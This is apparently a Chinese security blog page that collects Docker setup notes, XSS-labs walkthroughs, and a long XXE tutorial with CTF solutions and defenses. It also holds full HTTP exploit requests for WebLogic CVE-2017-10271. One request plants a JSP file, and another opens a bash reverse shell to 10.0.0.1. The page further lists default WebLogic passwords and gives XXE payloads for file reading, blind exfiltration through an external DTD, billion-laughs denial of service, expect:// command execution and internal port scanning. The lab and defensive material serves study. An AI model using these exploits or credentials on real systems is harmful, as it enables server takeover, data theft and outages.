分类 环境搭建 下的文章

Dokcer相关


docker配置

docker gedit /etc/systemd/system/docker.service.d/http-proxy.conf


[Service]


#Environment="HTTP_PROXY=http://proxy.example.com:80/" Environment="NO_PROXY=localhost,127.0.0.0/8,docker-registry.somecorporation.com"


#Environment="HTTP_PROXY=http://192.168.111.10:8089/"


/etc/docker/daemon.json 

{ "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "http://hub.mirror.c.163.com", "https://registry.docker-cn.com" ] }


删除镜像:docker rmi -f id


查找镜像IP:docker inspect id | grep IPAddress







Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)


条件:Weblogic < 10.3.6

POC1_shell:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

POC2:(注意bash语句需要编码)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image.png

附:weblogic弱密码:

system/password

weblogic/weblogic

admin/security

joe/password

mary/password

system/security

wlcsystem/wlcsystem

wlpisystem/wlpisystem

weblogic/Oracle@123


XSS-labs靶场记录LV11 ~ LV20


LV11 无文本框,查看参数,发现多了个t_ref,为refer,那么用refer头注入,hackbar,add referer头,成功弹窗

payload:" type="text" onmouseover="alert(/Aatrox/)"

LV12 无文本框,查看参数,多了个t_ua,为user-agent的XSS注入,hackbar,add user-agent,成功弹窗

payload:" type="text" onmouseover="alert(/Aatrox/)"

LV13 无文本框,查看参数,多了个t_cook,为cookie的XSS注入,hackbar,add cookies

查看响应头,得到cookie的参数user=... 那么构造payload 成功弹窗

payload:user=" type="text" onclick="alert(1)"

LV14  exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗

具体实现使用kali下的exiftool工具

命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

LV15   根据返回的源代码判断出变量src存在XSS注入。ng-include,那么直接调用level1中的script即可,

跨域了。

payload:level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

image.png

LV16   发现src,反斜杠/,还有空格进行了替换,使用%0A(回车符)进行弹窗。

payload:<img%0Asrc=""type="text"%0Aonerror=alert(1)>

LV17 首先查看响应,发现swf,swf是flash文件,参数arg=a,arg=b存在XSS注入,将b换成onmouseover=alert(1),

换个显示flash的浏览器成功弹窗。

payload:arg01=a&arg02=%20onmouseover=alert(1)

LV18 同上,不过对引号进行了过滤。


XSS-labs靶场记录LV1 ~ LV10


lv1 直接弹窗

payload:<script>alert(1)</script>

lv2 闭合input,弹窗

payload:test"/><script>alert(1)</script>

lv3 发现双引号"逃逸不出来inptu,于是尝试单引号'发生改变,然而还是逃逸不出来,只好使用javascrpt:alert(1),由于有文本框,直接用onclick。

payload:dsadsa' onclick='javascript:alert(1)

lv4 尝试逃逸Inptu失败,且尖括号被过滤,尝试直接闭合“”“”后文本框弹窗

payload:adsadsa" onclick="alert(1)

lv5 规则测试后,发现script\on,大小写被过滤,注意到尖括号已经超出边界,那么使用标签+javascript绕过。

image.png

payload:test"/><a href="javascript:alert(1)" />

lv6 用lv5的payload时,发现href被分割过滤,采用大小写替换,成功弹窗。

image.png

payload:test"/><a hReF="javascript:alert(1)" />

lv7 用之前的payload失效且无用,发现on/script直接被replace成空,那么采用双写关键字绕过。

image.png

payload:test" oonnclick="java:alert(1)
LV8 添加友情链接,尝试<a src="javascript:alert(1)" />发现问题后采取utf-8编码绕过。

image.png

utf-8编码尝试绕过。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

#javascript:alert(1)

LV9 链接不合法,那么用编码弹窗+合法链接触发弹窗。

image.png

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

image.png

LV 10 无文本框那么直接在url搜索,发现隐藏表单的参数有:t_link,t_history,t_sort,那么构造表单为:&t_sort=1'时有参数传入,如下,那么给该参数制造一个文本框,利用其触发弹窗。

image.png

payload:well done!&t_sort=1" type="text" onmouseover="alert(1)"



XXE-lab靶场记录


php:

<?xml version="1.0"?><!DOCTYPE Aatrox [
<!ENTITY test SYSTEM  "
<user><username>&test;</username><password>Aatrox</password></user>

成功回显。



XXE(XML External Entity attack)XML外部实体注入攻击

导语

  XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。

  尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应有的关注度。很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。 比如今年7月刚爆出的微信支付XXE漏洞案例。

  libxml2.9.1及以后,默认不解析外部实体。可以在此了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构,外部实体将被禁用。但它的默认值是no,而且有些parser会直接忽略这一项。

XML外部实体

  本文主要讲外部实体注入攻击,所以基本的XML语法就不过多的描述。主要看一下DTD-实体

  首先让我们了解一下基本的PAYLOAD结构:
mark
  DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体和参数实体

  1. 一般实体的声明:<!ENTITY 实体名称 "实体内容">

   引用一般实体的方法:&实体名称;

  p.s.经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。

  2. 参数实体的声明:<!ENTITY % 实体名称 "实体内容">

   引用参数实体的方法:%实体名称;

  p.s.经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。

  如果实体名称中出现如<的特殊字符,解析就会失败。为了避免这种情况,XML用实体引用替换特殊字符。XML预定义了五个实体引用,即用<、 >、 &、 &apos、 "替换<>&'"

DTD实体声明(重点)

  1. 内部实体声明

  <!ENTITY 实体名称 "实体的值">

  当引用一般实体时,由三部分构成:&实体名,当是用参数传入xml的时候,&需URL编码,不然&会被认为是参数间的连接符号。

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>    <!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>    <test>&writer;©right;</test>

  2. 外部实体声明

  <!ENTITY 实体名称 SYSTEM "URI/URL">

  外部实体可支持http、file等协议。不同程序支持的协议不同,如下图:
mark
  其中PHP支持的协议会更多一些,但是需要一定的扩展支持:
mark

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>    <!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>    <author>&file;©right;</author>

XXE的攻击与危害

  当我们了解清楚以上的信息后,我们就能理解如何构造外部实体注入攻击与它的危害性了。

如何构造外部实体注入攻击

  一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

  有回显的payload写法:

  1. 直接通过DTD外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE ANY [
                    <!ENTITY test SYSTEM "file:///etc/passwd">
            ]>        <abc>&test;</abc>
  2. 通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">        <abc>&b;</abc>

    evil.dtd内容:

            <!ENTITY b SYSTEM "file:///etc/passwd">
  3. 通过DTD外部实体声明引入外部实体声明。XML内容如下:

            <?xml version="1.0"?>        <!DOCTYPE a [
                    <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
            %d;
            ]>        <abc>&b;</abc>

    evil.dtd内容:

            <!ENTITY b SYSTEM "file:///etc/passwd">

    但是如果想通过如下声明是不可以的:

            <?xml version="1.0"?>         <!DOCTYPE a [
            <!ENTITY d SYSTEM "http://localhost/evil.xml">
            ]>        <abc>&d;</abc>

    测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。

  无回显的payload写法:

  1. 第一种无回显示payload写法:

            <?xml version="1.0"?>         <!DOCTYPE a [
            <!ENTITY % file SYSTEM "file:///c://test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> 
            %dtd; %all; 
            ]>         <abc>&send;</abc>

    其中evil.xml文件内容为

             <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">

    调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。

  2. 第二种无回显payload写法:

            <?xml version="1.0"?>        <!DOCTYPE a [
            <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
            %dtd;
            %send;
            ]>        <abc></abc>

    其中evil.xml文件内容为:

            <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

    调用过程和第一种方法类似,但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

  这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。这里的        internal subset指的是中括号[]内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。

  一般都使用第二种方法,因为当文件中含有中文字符或<字符,会导致不能解析。

XXE带来的危害

  利用xxe漏洞可以进行文件读取,拒绝服务攻击,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等。内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做。

  首先准备一个有XXE漏洞的文件,本次测试以php为主:

    <?php    $xml = simplexml_load_string($_REQUEST['xml']);
    echo "<pre>" ;
    print_r($xml);//注释掉该语句即为无回显的情况    ?>

危害1.读取任意文件

有回显情况:

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    ]>    <abc>&test;</abc>

mark

无回显情况:

  本次测试用的phpStudy,需开启apache日志记录并重启服务。当无回显情况时,可以讲数据发送到远程服务器。

    <?xml version="1.0"?>    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

mark

YWRtaW46OnBhc3N3b3JkIQ0KdGVzdDo6cGFzc3dkIQ==Base64解码即可。

  通过此方法可以读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件、获取帐号密码后进一步攻击。如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

危害2.拒绝服务攻击

    <?xml version="1.0"?>    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>    <lolz>&lol9;</lolz>

  此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义,在内存中生成十亿个"Ha!"字符串,从而导致 DoS 攻击。

  原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

危害3.远程命令(代码)执行

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "expect://id">
    ]>    <abc>&test;</abc>

  此示例是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能有此漏洞。

危害4.内网信息探测

  利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果。

有回显情况:

    <?xml version="1.0"?>    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">
    ]>    <abc>&test;</abc>

  当端口开放时,如80端口:
mark

  当端口未开放时,如81端口:
mark

无回显情况:

    <?xml version="1.0"?>    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>    <abc></abc>

远程服务器部署evil.xml内容为:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

  观察日志文件即可。

  当端口开放时,如80端口:
mark

  当端口未开放时,如81端口:
mark

  有的无回显的情况还可以通过抓包看响应头返回的状态码,返回的报错信息等判断。

危害5.攻击内网网站

难得搭建环境,就直接引用网上的例子吧:

mark

这个示例是攻击内网strusts2网站,远程执行系统命令。

还可部署bash文件建立监听,获得反弹shellcode等。

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

CTF题目

  本人是个CTFer,所以再结合两道CTF题目,更加深入理解此攻击。

JarvisOJ——api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

先查看源码:
mark
再看响应:
mark
  开始以为是考反序列化,但根据提示和结果发现不是。这个页面仅仅是向后台发送请求,后台再响应返回几个特定的字符串,修改请求值,发现返回与前台的输入没多大关系。最后,知道是XXE。

  这道题目,默认的是json格式传递,因此首先我们更改Content-Type的值为application/xml,然后传入xml代码:

    <?xml version=”1.0″?>    <!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>    <abc>&xxe;</abc>

mark

DDCTF——喝杯Java冷静下

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/

提示:第二层关卡应用版本号为2.3.1

此题目有点难,由于技术不到位,有的地方不是很清楚就不误导读者了。

直接看看大佬的姿势吧:

DDCTF2018 WEB6 喝杯Java冷静下 WRITEUP —— LZ1Y

DDCTF 2018 Web Writeup —— 白帽100安全攻防实验室

真实案例

XXE自动化工具

  XXEinjector:一款功能强大的自动化XXE注射工具。

  本文就不具体演示、讲述此工具了。推荐一篇文章,详细的讲述了其使用方法,最后还附了XXEinjector工具的下载。

寻找XXE

检测xml是否被解析

  尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

  • 单双引号 ' " :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。

  • 尖括号< > :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。

  • 注释符<!-- :XML使用<!-- This is a comment -->作注释。

  • & :& 用于引用实体。

  • CDATA 分隔符]]> :<![CDATA[foo]]>中的内容不被解析器解析,提前闭合引发异常。

检测是否支持外部实体解析

  尝试利用实体和DTD。

  • 引用外部DTD文件访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">(看响应时间)

  • 引用外部DTD文件访问外网 :<!DOCTYPE a SYSTEM "http://vps_ip" >

  • 引用内部实体 :<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>

  • 外部实体读本地文件 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>

  • 外部实体访问内网主机/端口 :<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)

  • 外部实体访问外网 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>

  • 判断问题存在可以OOB提取数据。

XXE的防御

  • 使用开发语言提供的禁用外部实体的方法

  PHP

  libxml_disable_entity_loader(true);

  JAVA

          DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

          dbf.setExpandEntityReferences(false);

  Python

  from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据

  过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

参考资料

  1. http://www.freebuf.com/column/156863.html

  2. https://security.tencent.com/index.php/blog/msg/69

  3. https://xz.aliyun.com/t/2571#toc-10

  4. http://www.w3school.com.cn/dtd/